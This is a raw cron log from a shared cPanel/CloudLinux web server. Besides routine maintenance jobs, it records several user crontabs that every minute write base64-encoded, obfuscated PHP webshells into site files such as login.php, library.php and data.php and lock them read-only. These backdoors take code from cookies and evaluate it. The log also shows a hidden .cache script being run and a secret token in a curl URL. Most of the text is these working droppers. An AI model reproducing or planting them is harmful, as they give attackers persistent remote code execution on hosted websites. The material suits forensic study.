Jun  7 12:05:01 medusa CROND[18411]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 12:05:01 medusa CROND[18418]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 12:05:01 medusa CROND[18415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:05:01 medusa CROND[18416]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 12:05:01 medusa CROND[18419]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:05:01 medusa CROND[18417]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 12:05:01 medusa CROND[18421]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 12:05:01 medusa CROND[18422]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 12:05:01 medusa CROND[18424]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 12:05:01 medusa CROND[18430]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:05:01 medusa CROND[18429]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 12:05:01 medusa CROND[18434]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:05:01 medusa CROND[18435]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 12:05:01 medusa CROND[18437]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:05:01 medusa CROND[18441]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:05:01 medusa CROND[18444]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:05:01 medusa CROND[18445]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:05:01 medusa CROND[18447]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 12:05:01 medusa CROND[18449]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:05:01 medusa CROND[18450]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:05:01 medusa CROND[18439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 12:06:02 medusa CROND[20264]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:06:02 medusa CROND[20301]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:06:02 medusa CROND[20303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:06:02 medusa CROND[20302]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 12:06:02 medusa CROND[20304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:06:02 medusa CROND[20305]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 12:06:02 medusa CROND[20306]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 12:06:02 medusa CROND[20308]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:06:02 medusa CROND[20309]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:06:02 medusa CROND[20312]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:06:02 medusa CROND[20314]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:06:02 medusa CROND[20315]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:06:02 medusa CROND[20316]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:06:02 medusa CROND[20317]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:06:02 medusa CROND[20326]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:07:01 medusa CROND[22046]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:07:01 medusa CROND[22047]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:07:01 medusa CROND[22048]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:07:01 medusa CROND[22049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:07:01 medusa CROND[22050]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9